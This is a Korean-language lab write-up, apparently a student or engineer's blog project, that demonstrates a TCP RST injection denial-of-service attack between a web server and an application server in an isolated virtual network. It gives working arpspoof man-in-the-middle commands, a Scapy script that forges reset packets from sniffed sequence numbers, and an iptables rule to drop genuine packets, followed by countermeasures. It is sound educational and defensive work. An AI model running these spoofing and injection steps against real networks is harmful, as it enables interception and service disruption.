Infra & Security Eng/Semi Project
세미 프로젝트 - OSI 7계층 취약점 분석: 4계층 TCP RST(Reset) Attack 공격 실증
엔지니어 E
2026. 2. 24. 21:18
반응형

| ※ 이 과정은 외부와 격리된 독립적인 가상 네트워크 내에서 실습 하였습니다 주제 OSI 7계층 중 **4계층(전송 계층)**의 TCP 프로토콜 취약점을 이용한 세션 강제 종료(TCP RST) 공격 분석 목적 TCP 연결의 신뢰성을 보장하는 Sequence Number(순서 번호) 체계를 이해하고, 이를 악용하여 웹 서버(WEB)가 백엔드 자원(WAS)으로부터 데이터를 가져오지 못하게 만드는 DoS(서비스 거부) 공격을 실증함. 공격 메커니즘 1. TCP의 취약점: TCP는 세션 종료시 RST 플래그가 설정된 패킷을 받으면 즉시 연결을 해제 한다. 공격자가 스니핑을 통해 현재 통신 중인 Sequence Number를 알아내어 위조된 RST 패킷을 보내면, 수신 측은 이를 정상적인 종료 요청으로 판단하고 세션을 파괴 한다 2. 길목 선점 및 세션 가로채기: WEB(11.11)과 WAS(11.12) 사이의 통신을 가로채기 위해 Router(공격자)에서 ARP Spoofing을 수행 한다. 통로를 확보한 후, WEB이 bigfile을 요청할때 발생하는 패킷을 실시간 분석하여 다음 순서 번호를 예측하고, 위조된 RST 패킷을 주입 한다 네트워크 구성도 Attacker (Router): 192.168.11.13 (ARP Spoofing으로 길목 선점 및 패킷 조작 주체) Victim 1 (WEB): 192.168.11.11 (공격 대상 - 웹 서비스 운영 및 파일 요청자) Victim 2 (WAS Server): 192.168.11.12 (공격 대상 - 웹 서비스 제공자, TCP 80 포트 활성화) |
| WAS 서버(11.12) 공격자가 끊을 대화를 임의로 만들어줘야 한다(현재 OS 세팅만 한 상태였음) WAS 서버에서 웹 서비스를 억지로라도 하나 띄어야 한다 # dnf install -y python3-pip - 파이썬 패키지 설치 도구인 pip 설치 # pip3 install scapy - 파이썬 패키지 관리자(pip)를 사용하여 Scapy 라이브러리 설치 * 일반적인 프로그램은 TCP 헤더의 순서 번호(Sequence Number)를 조작할 수 없다. 패킷을 직접 제작하고 주입할 수 있는 Scapy 라이브러리가 반드시 필요 하다 * scapy: 강력한 파이썬 기반의 네트워크 패킷 조작 도구 공격을 하려면 **"정상적으로 대화 중인 두 대상"**이 필요하다. 현재 WAS 서버는 아무 서비스도 안 하는 '빈 집' 상태라 WEB 서버가 접속을 시도해도 대화 자체가 안 열린다. 역할: 파이썬 명령어를 통해 WAS 서버를 **"공격당할 가치가 있는 살아있는 웹 서버로 바꾸는 과정이다 ![]() # mkdir -p /root/web_test && cd /root/web_test - 웹 서비스용 디렉토리 이동 # echo "OSI 7 Layer Layer 4 TCP RST Test Page" > index.html # dd if=/dev/zero of=/root/web_test/bigfile bs=1M count=500 - 작은 파일(index.html)은 전송이 너무 빨라 공격이 어렵기에, 가짜 패킷 전송할 시간을 벌기 위한 대용량 파일 생성 # python3 -m http.server 80 - 80번 포트로 임시 웹 서버 가동 * Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 명령어를 치면 터미널이 대기 상태가 된다. 그대로 두면 된다 * 80번 포트로 임시 서버를 가동하여 WEB 서버의 요청을 받을 준비를 한다 Router(11.13) WEB과 WAS 사이의 패킷을 가로채고 조작하는 중심지 이다. 터미널은 3개 필요하다 [터미널1] 해킹 도구 모음 설치 # sudo yum install epel-release -y # sudo yum makecache # sudo yum install dsniff -y 도구 및 패킷 포워딩 설정 # dnf install -y python3-pip dsniff # pip3 install scapy # sysctl -w net.ipv4.ip_forward=1 ![]() arp 스푸핑 # arpspoof -i ens160 -t 192.168.11.11 192.168.11.12 - web을 속여서 패킷이 라우터로 오게 함 ![]() [터미널2] # arpspoof -i ens160 -t 192.168.11.12 192.168.11.11 - was 속이기 ![]() [터미널3] 스크립트 작성 # vi /root/web_kill.py에서 아래 내용 추가함 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ from scapy.all import * def web_rst_attack(pkt): if pkt.haslayer(TCP) and pkt[IP].src == "192.168.11.11" and pkt[IP].dst == "192.168.11.12": ip_layer = IP(src=pkt[IP].dst, dst=pkt[IP].src) tcp_layer = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack) send(ip_layer/tcp_layer, verbose=False) print(f"[!] Reset Injection: {pkt[IP].src} -> {pkt[IP].dst}") print("=== TCP RST Attack Started ===") sniff(iface="ens160", filter="tcp", prn=web_rst_attack) ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ from scapy.all import * def web_rst_attack(pkt): # WEB이 WAS에게 데이터를 요청하는 TCP 패킷만 필터링 if pkt.haslayer(TCP) and pkt[IP].src == "192.168.11.11" and pkt[IP].dst == "192.168.11.12": # WAS인 척 위장하여 WEB에게 보낼 IP 헤더 생성 ip_layer = IP(src=pkt[IP].dst, dst=pkt[IP].src) # RST 플래그를 세우고, WEB이 다음에 기대하는 순서번호(ack)를 seq로 설정 tcp_layer = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack) send(ip_layer/tcp_layer, verbose=False) print(f"[!] Reset Injection: {pkt[IP].src} -> {pkt[IP].dst}") print("=== TCP RST Attack Started ===") sniff(iface="ens160", filter="tcp", prn=web_rst_attack) 예시로 각 명령어 설명 from scapy.all import * - 네트워크 패킷 조작 도구인 Scapy 라이브러리 로드 def web_rst_attack(pkt): - 실시간으로 캡처된 패킷(pkt)을 처리하는 함수 정의 if pkt.haslayer(TCP) and pkt[IP].src == "192.168.11.11" and pkt[IP].dst == "192.168.11.12": - (조건 확인) TCP 계층이 있고, 출발지(WEB)와 목적지(WAS) IP가 일치하는지 확인 ip_layer = IP(src=pkt[IP].dst, dst=pkt[IP].src) - (IP 헤더 생성) WAS가 WEB에게 보내는 것처럼 출발지, 목적지 IP를 반대로 설정 tcp_layer = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack) - (패킷 조작) RST 플래그를 세우고, WEB이 기다리는 Sequence Number를 맞춤 send(ip_layer/tcp_layer, verbose=False) - (패킷 주입) 위조된 RST 패킷을 네트워크에 강제 투입 print(f"[!] Reset: {pkt[IP].src} -> {pkt[IP].dst}") - 라우터의 11번 대역 인터페이스(ens160 등)을 지정하여 도청 시작 sniff(iface="ens160", filter="tcp", prn=web_rst_attack) 공격 실행 # sudo iptables -A FORWARD -p tcp -s 192.168.11.11 -d 192.168.11.12 -j DROP - iptables 사용 이유: 가상 환경의 속도가 너무 빨라 정상 패킷이 공격 패킷보다 먼저 도착하는 경합 조건을 방지하기 위해, 원본 패킷을 드랍시키고, 공격자가 만든 위조 패킷만 통과 시킨다 # python3 /root/web_kill.py 실증 확인 WEB 서버, WAS 서버, ROUTER 서버 웹서버 ![]() ![]() # curl http://192.168.11.12/bigfile -o /dev/null - 공격자가 가짜 종료 신호(RST)를 데이터보다 먼저 보내 연결을 입구에서 차단(Dos)하는데 성공함 * bigfile: was 서버에서 만든 파일 WAS 서버 상황 ![]() ROUTER 서버 상황 ![]() |
| 보안 대책 단순한 TCP 세션 차단 실습에 그치지 않고, 전송 계층의 보안 취약점을 보완하여 네트워크 서비스의 가용성과 신뢰성을 확보하기 위한 근본적인 해결책을 제시합니다 1. 네트워크 계층 1) Stateful Inspection: 방화벽에서 TCP 연결 상태를 추적하여 비정상적인 RST 패킷 차단 2) DAI(Dynamic ARP Inspection): ARP 스푸핑을 차단하여 중간자 공격(MITM) 통로 봉쇄 2. 호스트 및 서비스 계층 1) Sequence Number 무작위화: OS 수준에서 시퀀스 번호 예측을 어렵게 설정 2) SSL/TLS(HTTPS) 도입: 상위 게층 암호화 및 인증을 통해 세션 무결성 보장 실증 결과 분석 1) 한계점 증명: 초기 RST 주입 시 웹페이지가 정상 출력됨. 이는 서버의 응답이 공격 패킷보다 빠른 Race Condition(경합 조건) 때문임을 확인 2) 공격 성공의 조건: 단순 RST 주입만으로는 가용성 파괴에 한계가 있음. iptables를 통한 정상 패킷 차단(DROP)이 병행될때 비로소 실제 컴퓨터에서 Connection Reset 에러와 함께 웹 접속 차단이 실증됨 결론 1. TCP 설계 결함 확인: 시퀀스 번호만 일치하면 제 3자가 세션을 강제 종료할 수 있는 4계층의 가용성 취약성 입증 2. 트래픽 제어의 중요성: 고속 네트워크 환경에서 DoS 공격은 단순 주입보다 경로 점유와 데이터 차단이 결합 되어야 치명적임을 확인 |







